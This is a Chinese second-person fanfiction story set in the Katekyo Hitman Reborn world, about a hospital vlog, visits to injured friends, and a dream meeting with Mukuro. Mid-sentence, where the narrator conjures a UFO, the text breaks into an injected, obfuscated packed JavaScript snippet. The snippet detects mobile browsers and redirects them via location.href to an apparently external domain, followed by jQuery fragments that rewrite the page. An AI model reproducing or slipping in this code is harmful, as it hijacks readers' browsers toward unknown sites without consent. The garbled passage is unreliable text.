彭格列全员在恶战结束后,落得一个爆改病号服住院拍vlog的下场。
当然这种奇怪的事只有你会做,谁让大家还怪宠你的呢,也就默许拍摄了。
你单手举手机,开启今天的拍摄之旅。
不知道医院是怎么想的,把山本武和狱寺隼人安排在同一间病房了,少年雨守和岚守相争的戏码每天都在上演。
“不可能,你这个在我们打六道骸的时候睡完全程的人绝不可能是十代目的左右手!”
“照这样说的话狱寺你也不算吧,直到最后都醒着的人不是只有梅千吗?”
吵架的原因一目了然。
“你懂什么,那家伙没钱拿才不会想当左右手呢,所以还是……”狱寺隼人瞥到拿着手机进门的你,戛然而止,“你又来,昨天不是才拍过吗?”
你直接怼脸拍他:“不一样啊,昨天是住院第一天的vlog,今天是第二天的份。”
“那也没什么区别吧。”
“诶,反正我只是自己留着纪念又不会发出去,别那么较真嘛。”
山本武一向捧你的场,闻言说:“梅千,我昨天就很好奇你拍的怎么样了,可以给我看看吗?”
“当然可以啦。”
你坐在山本床边,将手机里的视频调出来和他一起看,病房里只剩下你们讨论内容的说话声。
狱寺隼人安静了一会儿,还是坐不住,忍不住问:“喂…梅千,你能再说一遍那个吗?”
“哪个啊?”
“十代目打败六道骸的全过程!”
“不行,已经说过一遍的事情为什么还要说第二遍。”你果断拒绝了。
“你连十代目半分英姿都没有描述出来!什么叫十代目在关键时刻觉醒强大的力量,然后打倒了六道骸啊?!”狱寺拳头硬了。
不好意思,你毒唯拒同担。
“我说的是实话啊,想象不到是你不心诚。”你双手合十,那伟大的一幕在你脑海中反复上映,“那么帅气的十代目,没有看见真实太可惜了,我说不定看到了光呢!”
好恶劣……
狱寺结巴了半天说不出句完整的话,显然被气得不轻。
成熟的男人要学会自己哄自己,他转移话题:“你那个手伤真的有必要和我们一起住院吗?早就好了吧。”
唔,确实在处理过一次伤口以后因为太疼就治疗好了。
“你啰嗦了。”
本意是关心的狱寺被这句话哽住。
“朕是天子,岂能容你质疑?”你一脸严肃,天子与民同乐有何不妥,“这学大家要上就一起上,你们休想抛下我在医院享福啊!”
……说那么多,搞半天是逃学。
不想上学是大部分学生的天性,山本武深表认同:“是呢,我也不想一个人上学,上课睡觉都不香了。”
“就是这样!一个人总感觉少些什么,毕竟我们经常聚在一起嘛~”
知音难遇,同样吊着一只胳膊的你们用另一只手击掌,狱寺对你们其乐融融的相处表示不屑,看窗外看天花板,就是不看你们。
你注意到他们这间病房的床头柜上有山本武的父亲来探望时带的果篮,因为你是孤家寡人一个,除去和大家的共同好友来探望时分到的慰问品就没有别的了,看见新鲜水果有点嘴馋。
“嗯…或许你们想吃点水果补充维生素吗?我给你们削个苹果吧。”你假模假样地关怀。
“好啊,但是梅千你只有一只手,要怎么削?”山本武此时还不知社会险恶,天真地同意了。
“哎呀,简单得很啦。”你自信满满地拿起苹果,啊呜一口啃下一块皮,“喏!就这样削呀,要吃吗?”
“…不了,你自己吃吧。”
其实你直接张口要也是会给的,但偏偏以别人想不到的方法狡猾的吃到了苹果,这就是天子的尊严吧,不理解,但尊重。
“皇上喜欢吃,臣愿意全部上供给您。”
山本武戏精附体开始演戏,你龙颜大悦,但又实在没什么东西可以赏给他:“好爱卿,你的心意朕领了,待朕与沢田商量后让他把十代目左右手之位赋予你可好?”
“不行!”
有人开始抗议了。
“哈哈,阿纲的左右手位置我会自己努力争取的,就不用麻烦梅千了。”
山本自己也拒绝了,他微笑着说:“我不用赏赐,硬要说的话,希望梅千以后能更多的将视线放在我身上啊。”
“好,我会的。”
你好像有点明白他的意思了,郑重地回应他。
吃完苹果,你准备去下一个病房慰问其他病人,便和他们告辞了,临走前还叮嘱道:“你们两个记住,吵架归吵架,要是打起来一定记得喊我来看哦!”
“谁会打——”
狱寺声音太大了,你赶紧拉上病房门,对走廊上路过的护士笑笑:“走错了,不认识。”
接下来是住在一间病房的碧洋琪和风太,原本是你和碧洋琪同住的,后来改为这么分配是想让手脚方便的她帮忙照顾一下年纪还小的孩子。
你敲门进病房,碧洋琪正站在床边活动筋骨,见你进来微微笑了一下:“真帆,今天还要和我研究剧毒弹吗?”
这是新研究课题,把碧洋琪的剧毒料理放进子弹里,制成剧毒子弹,光是想想都觉得威力极大。
不过暂时只是提出观点的阶段,实际操作难度很大,单是要把料理放进去就容易误伤到制作者。
你昨天就是做实验时剧毒料理漏在绑绷带的胳膊上,差点真的伤到手,为了不让护士发现你痊愈了,绷带还是自己悄咪咪换的。
而且料理爆炸也容易误伤别人…不像是能对人用的武器。
“等出院再研究吧,碧洋琪姐你这样大幅度运动不会扯到伤口吗?”你关心地问。
都是女性,碧洋琪没有避讳,掀开病号服让你看她腹部的伤口,已经好的只剩下一道粉嫩的疤痕了,再过不久就会完全消失。
“?好快!”
这种体质是普通人梦寐以求的吧,好那么快做什么事都不影响,但是想想这是在二次元又释然了,顶着满身伤浴血奋战都是常态。
“所以你现在不用换药了啊,医生没有催你出院吗?”
“催了,不想走,我偶尔也需要休个假。”她躺回床上,随手拿起床边的书看了起来。
休假吗?平时好像也没有看见碧洋琪外出做工作,也许是在忙着研制毒性更高的料理吧。
碧洋琪贴心地说:“对了,既然你需要我的料理,回头我再多做一点给你吧,研究废寝忘食可以顺便把饭解决了。”
你干笑两声,满足过一次好奇心,这辈子都不会再吃第二次剧毒料理了:“…我去看看风太怎么样了。”
找完借口,你钻进隔帘另一边看还在熟睡的男孩,他身上没什么严重的伤,但精神状态很差,从黑曜中学获救回来以后几乎一直在睡。
你的手温柔地覆上他的额头,揉了揉。
“辛苦了。”
最后是这次的大功臣!
里包恩很满意沢田纲吉的表现,不仅大发慈悲没有在住院期间折腾他,还给他安排了单人病房。
没人管教,整个身心都放松下来的沢田纲吉想睡到几点就睡到几点,睡个午觉都能睡到晚上。
你蹑手蹑脚地进去,关好房门,像导弹一样发射出去,一头创在他的腰子上。
沢田纲吉:“?!”
“是梅千啊,找我有什么事吗?”他迷瞪地睁开眼,发现你在拿手机录像后瞬间清醒,“等等!不要拍我睡觉的样子啊!”
你放下手机,真诚地看着他:“是这样,十代目您那天帅气的模样一直铭刻在我的心中,难以忘怀,我现在非常仰慕你。”
“仰慕?!”沢田面上升温,有些羞赧,“不…我也没有做得很好啦,战斗结束后还因为太疼晕过去了,那么丢人……”
接下来要说的话难道是——!
“是呢。”
“我愿、诶?”
是在肯定他刚才自言自语的话吗?也就是说他自作多情了?
沢田纲吉石化了。
“介于不知道你日后会不会还爆衣、赖床、左脚绊右脚摔倒什么毁坏在我心里的形象,想尽可能把你还能看的一面记录下来,你没意见吧?”
“没…没有……”他觉得自己碎碎的。
嗯,沢田还是那么好逗,看他这么精神都能给自己碎成一百块英雄碎片再拼上你就放心了。
不过他刚才是不是有话想和你说?
你心直口快地问他:“沢田,你有话要对我说吗?”
“没什么,不是重要的话啦。”沢田纲吉笑容有些勉强,现在的他还没有勇气告白,“想问问梅千住院有没有不习惯的地方。”
“不习惯?没有啊,我和你一样都是一个人住大病房,挺舒服的。”你摇了摇头,他想说的就这啊。
“咦…你也是单人病房吗?”
“是啊,住在单人病房不是我们主角的基本待遇吗?”
其实只是因为机缘巧合混到了好房间,但你这么说也没错,沢田纲吉是主角,你也是这个世界的主角,刚好这次你俩都有自己住的待遇。
他难为情的摆手:“主角什么的,梅千你是还差不多,我不可能的。”
沢田纲吉并不认为自己是主角,虽然目前发生在他身上的事情已经比普通人的一生丰富多彩太多了,但他对此没什么意识。
“不管你信不信,我说的都是真心话哦。”
不仅是原剧情中没出现的帅气场面,还是在相处中,那个总认为自己是靠着死气弹才能坚强的少年勇敢的拯救了他人,这份感动于你而言,他已经不止是被漫画书打上主角标签的人了。
“谢谢沢田让我看到了不一样的你,现在的体验算是回本啦。”
“梅千又说奇怪的话。”沢田纲吉对你偶尔冒出奇怪的言论早就自以为然,笑笑,“虽然不太明白,但很荣幸能让你这么想。”
……………………
忙碌半天,你总算探望完了住院的朋友们,回到病房躺下。
真算起来还有个云雀恭弥没有看,他在并盛的身份地位注定他不会和你们住一个档次的病房,他不仅单独住着一层VIP病房,楼梯口还有风纪委员把守,这不就是拒绝探望的意思嘛。
幸好云豆比较勤快,除了吃饭睡觉的时间都在外面玩,你回病房的路上在窗边碰见它,陪它玩了一会儿。
“豆呀,我就不去看你主人了,帮我和他说一声。”你试图让小黄鸟传话。
“真帆?”云豆歪了歪脑袋,它那么聪明,肯定是听懂了,扑棱起翅膀飞出窗外。
云雀恭弥给新养的爱宠留了窗,见它回来的那么早,以为是中午没吃饱饿得快,给它的专属小碟子里加了些谷物。
“吃吧。”
他用食指将碟子推过去。
站在床头柜上的云豆没有急着吃,豆米大的脑仁儿飞速运转,想起来要办事,气势十足地开嗓:“真帆!想你!”
豆办事,你放心。
“她想我?”云雀惊讶,随即冷哼一声,“想见我只需要两分钟。”
住院两天梅千真帆都没有上来过,他的病房里是有什么洪水猛兽吗,让她如此避之不及,还要靠云豆传话。
云豆不想懂人类多变的情绪,传完话安心地炫自己的粮。
云雀恭弥伸手戳了下它毛茸茸的后背:“哼…算了。”勉为其难去见见她吧。
并不知道云豆瞎传话,正在吃医院统一发放的病号餐的你嫌弃地用筷子戳戳米饭上的梅干。
娱乐活动不会因为养病就与平时不同,无非就是换个地方用小说和漫画打发时间,等到九点就可以关灯假装睡觉,以免热心的护士小姐进来催促病患应该早点休息。
身陷黑暗中,你忽然想起六道骸。
昨晚你按正常作息睡眠,他没有入梦,想来是受了重伤又被复仇者关押进水牢,一时自身难保,顾及不了其他。
他生命力那么顽强,不会甘心死在那种地方的,但知道和不担心是两码事,嗯…一定是因为你想学幻术顺带想到他了,他答应过要教你,要是出了什么事爽约可不好。
再睡一次好了,如果今天能做梦,不管他来没来都有办法知道他是否无事,也好让自己心安。
你被子拉过头顶,试图用窒息法快速入睡。
“……”
今晚的梦境很平静,不像他初次入梦时还给你带小剧情,这次只有一片一望无垠的蔚蓝色大海。
你忍不住吐槽:“男人是这样的,一次比一次敷衍。”
“哦呀,真是过分地指控呢,真帆。”六道骸的声音有些虚弱,很自然地出现在你身边,“这里是你梦境的缩影,我倒是觉得这片海很漂亮。”
他会喜欢,恐怕不是因为大海很美丽,而是这里是你的梦境吧。
“六道骸,我以为你不会来了。”
“Kufufufu,我可以理解成你在关心我吗?真帆明明不需要睡眠,却连着两天晚上沉入梦境中,也是想见到我的吧?”
“并不是,我只是想学幻术了。”你从沙滩上抓起一把流沙,在沙子从指缝溜走前全部抛向大海,“太单调了,之前你不是夸我有幻术师天赋,答应下次教我吗,就现在吧。”
“好啊。”
六道骸的教学方式很特别,具体特别在说话时离你耳朵特别近,抓着你的手时不经意撩一下,特别痒。
“斯到普斯到普,感觉我们有点暧昧了。”你义正言辞地制止他,拍开咸猪手,“我已经学会了。”
他遗憾地收回手:“愿意为我展示一下你的学习成果吗?”
你酷酷地打了个响指,海面上出现一艘巨大的海盗船,黑色的海盗旗上挂着骷髅头logo。
“你怎么知道我是要成为海■王的人?”
“…很丰富的想象力。”
得到鼓励,你愈发有干劲,接连在海面上创造出巨型章鱼怪、哥斯拉怪兽,最后在天空挂上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14027277|144759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个UFO,然后期待地看他。
怎么评价呢,比起幻术,这更像是吃了毒蘑菇致幻后看见的奇妙生物们吧,正常人都不会想把它们组合到一起的。
六道骸微笑,昧着良心说:“嗯,虽然想象力丰富到过盛,但我很喜欢。”
嘴上说着喜欢,他手一挥把你脑洞大开变得东西都收了回去。
你:“…没品。”
你不打算为奇妙的海洋生物们报仇,不痛不痒地报复方式不仅不会对六道骸造成任何伤害,还让他因为你生闷气的样子很可爱,又一次爽到。
“跟上你的思维可不容易啊,真帆,也许下次我会更理解你的。”
他也不装了,表示下次一定。
你琢磨了一下这句话,觉得话中有话:“所以你是被沢田打败后豁然开朗,开始理解我为什么愿意和他做同伴了吗?”
“提那个讨厌的黑手党做什么。”六道骸额角暴起青筋,实在看不出他是在说违心话的样子。
“诶?难道不是因为他太过耀眼,像光一样——”
你的施法被打断。
“Kufufufu,虽然我答应过你一切结束后会好好听你说话,但浪费时间的无关紧要人士还是不要提了。”
好的,真的确定了,六道骸讨厌沢田纲吉,为什么会这样?除了他讨厌黑手党的身份以外,沢田还有哪里得罪他了吗?
一定是嘴硬,未来给彭格列打了十年工还说只是想夺走他的身体,其实早就把沢田当做首领了。
“呃、其实,你开心就好。”你都懂,贴心地换了个话题,“你暂时应该放弃毁灭黑手党了吧?之后有什么打算?”
“首先当然是从复仇者监狱出去。”
有了第一次出逃,第二次想再躲过复仇者的眼睛出去就不容易了,但他有信心,无非是多花点时间。
“啊…不过出去以后没地方去呢,我可以投奔你吗?”六道骸眉眼微垂,做出一副可怜兮兮的模样低声问你。
远在阿美利卡的老爹,看见了吗?
极力阻止你女儿去大城市然后推荐的并盛町,不仅危机重重还让她有恋爱风险,赶紧买机票连夜回来吧。
你怀疑他在装可怜,并且有证据:“不可以,家里多出一个男人你让我怎么和我远在国外的老父亲解释,要是嫌弃黑曜中学的废土风装修你可以用幻术遮一下。”
幻术师的就业面还是太广了,理论上用幻术遮住一栋房子,只要施术者自己本人状态稳定,直到死掉才会被人发现是豆腐渣工程。
每天一个黑心赚钱小技巧~
你沉迷在致富之路中,没有注意到他的脸靠了过来,等到呼吸声近在眼前时才惊觉,震惊地说:“你干嘛?!”
“有时候真觉得是被真帆下了什么迷魂药呢。”
“……”
有没有可能,真的下了。
身体雷达在疯狂警报,你想后退,被他抓住手腕,正想君子动手不动口,耳朵突然一热。
“哇啊啊啊啊!”
你尖叫着从床上坐起来,倒不是因为梦里发生了什么劲爆的事,应该说是正要发生什么时被人喊醒了,虽然及时,但是方式不太美妙。
月光下,穿着黑色系睡衣的云雀恭弥像个男鬼一样站在你床边,手里还拿着浮萍拐,像是要将你在睡梦中咬杀的架势。
破碎的玻璃窗外吹进一阵冷风,冻得你打了个哆嗦,捡起地上的被子盖住衣着单薄的自己。
门窗岂是如此无用之物!
“…委员长,您在巡逻吗?”
“你这里有邪气,现在没了。”云雀皱眉,放下手,“那个人来过吗?”
“谁?没人啊?”
原来是大哥的雷达响了,真是吓死了,你就说嘛,云雀半夜来你房间干什么,哈哈……
睡是睡不了了,梦里有男鬼,梦外还有男鬼,哪都不安全。
“那您没事的话就继续巡逻吧,我把窗户粘一下凑合住一晚。”你对着窗户做了个请的手势,又对门做了个同样的,“呃,您想走哪条路出去?”
就在此时,门也被人暴力破开了。
这一幕好像似曾相识,你震惊地回头,果然又看见了急吼吼冲过来的众人,想必后面还跟着值班医生和护士。
门窗岂是…算了。
“云雀恭弥!怎么老是你!你半夜闯进梅千的病房做什么?!”狱寺隼人物理意义上的要气炸了,胸口都在疼。
碧洋琪看了眼,觉得没什么大事,这里交给这群毛头小子就行,收起剧毒料理,打着哈欠回去休息了。
“不是这样的!云雀只是在巡逻!”你赶紧趁在他们进一步打起来之前解释。
“半夜在女孩子的病房里巡逻的说法可说不过去啊。”山本武不认可这个说法,“一般只有痴汉夜袭才会这么做。”
不要在这种时候突然没了钝感啊!
只有沢田纲吉同样注意到了有违和感的气息,猜测会不会是六道骸来过,搞不好云雀学长是真的路见不平巡逻进来了。
但是…你刚才那声尖叫,是不是遇到了什么不好的事呢?
“云雀学长,不管怎样请你给我们一个说法。”
“哼,多管闲事。”
云雀恭弥没有要和他们解释的意思,拿着浮萍拐向门口走去:“正好住院有点无聊,拿你们活动一下吧。”
大家今晚好像都有点火热,一言不合就打上了。
“别在我病房里打架…有人听我说话吗?”
没有,在场和你一样唯二可怜的是今晚的值班打工人,拿着电话和院长汇报云雀恭弥在医院和其他病人打了起来,只得到一个没法管的回答,汪的一声哭了。
谁让并盛医院的业绩还得靠他提供呢,反正会赔钱的,打吧。
这已经不是你的病房了,是他们的战场。
你叹气,靠边绕出房间,礼貌地询问来吃瓜的护士:“你好,能给我安排一间新的单人病房吗?”
“非常抱歉!医院现在已经没有单人病房了……”
只有别的楼层还有很多VIP空病房,但一整层都被风纪委员会占领了,连最大的头头都在里面打架,现在没办法问他们能不能让出一间。
好的,你在这里属实有点多余。
你不得不遗憾离场,从走廊窗户跳出去,在护士小姐姐的尖叫声中利落地抓着建筑物外壁爬上医院天台,去看星星和月亮。
被吵醒的无辜(罪魁祸首)小黄鸟飞到你手背上站住:“真帆,困困。”
“困就对了,你这个年纪怎么睡得着的。”你也没放过云豆,另一只手按住它的背,手心翻转将它包起来rua,语气沧桑地说,“其实睡觉也没什么好事,和我一起熬吧。”
云豆:“?”
这个夜晚注定鸡飞狗跳,大家的住院周期也会继续延长,但彭格列住院vlog应该在第二天就彻底完结不再拍了。
“拼死也要出院回学校上学!”
少女的恋爱烦恼,今后只多不少。